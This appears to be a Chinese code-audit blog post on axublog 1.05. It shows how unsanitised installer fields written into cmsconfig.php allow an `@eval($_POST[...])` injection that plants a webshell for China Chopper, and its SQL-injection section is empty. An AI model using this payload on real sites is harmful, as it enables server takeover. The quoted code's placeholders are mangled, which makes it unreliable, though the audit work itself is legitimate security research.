axublog 1.05代码审计

Posted 可我浪费着我寒冷的年华

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了axublog 1.05代码审计相关的知识,希望对你有一定的参考价值。

00x1 安装漏洞

  install/cmsconfig.php

 1 function step4(){
 2 $root=$_POST["root"];
 3 $dbuser=$_POST["dbuser"];
 4 $dbpsw=$_POST["dbpsw"];
 5 $dbname=$_POST["dbname"];
 6 $tabhead=$_POST["tabhead"];
 7 
 8 $ad_user=$_POST["ad_user"];
 9 $ad_psw=$_POST["ad_psw"];
10 
11 $webname=$_POST["webname"];
12 $weburl=$_POST["weburl"];
13 $webinfo=$_POST["webinfo"];
14 $webkeywords=$_POST["webkeywords"];
15 $webauthor=$_POST["webauthor"];

这几个都是可控的,并没有进行任何处理。然后传到了$text2,然后又写到了cmsconfig.php当中。

 1 $file="config_empty.php";
 2 $fp=fopen($file,"r"); //以写入方式打开文件
 3 $text2=fread($fp,4096); //读取文件内容
 4 $text2=str_replace(‘@[email protected]‘,$root,$text2);
 5 $text2=str_replace(‘@[email protected]‘,$dbuser,$text2);
 6 $text2=str_replace(‘@[email protected]‘,$dbpsw,$text2);
 7 $text2=str_replace(‘@[email protected]‘,$dbname,$text2);
 8 $text2=str_replace(‘@[email protected]‘,$tabhead,$text2);
 9 $text2=str_replace(‘@[email protected]‘,$webname,$text2);
10 $text2=str_replace(‘@[email protected]‘,$weburl,$text2);
11 $text2=str_replace(‘@[email protected]‘,$webinfo,$text2);
12 $text2=str_replace(‘@[email protected]‘,$webkeywords,$text2);
13 $text2=str_replace(‘@[email protected]‘,$webauthor,$text2);
14 $file="../cmsconfig.php"; //定义文件
15 $fp=fopen($file,"w"); //以写入方式打开文件
16 fwrite($fp,$text2); 
17 @unlink("goinstall.php");

这个漏洞比较简单,直接在配置信息中填写一句话闭合就可以getshell了。

POC:"@eval($_POST[‘xishaonian‘])

然后菜刀直接连接就cmsconfig.php即可。

 00x2 SQL注入

 

以上是关于axublog 1.05代码审计的主要内容,如果未能解决你的问题,请参考以下文章

e语言代码如何审计

代码审计那些代码审计的思路

当前市面上的代码审计工具哪个比较好?

代码审计思路之PHP代码审计

代码审计利器-Seay源代码审计系统

0-PHP代码审计——通用代码审计的思路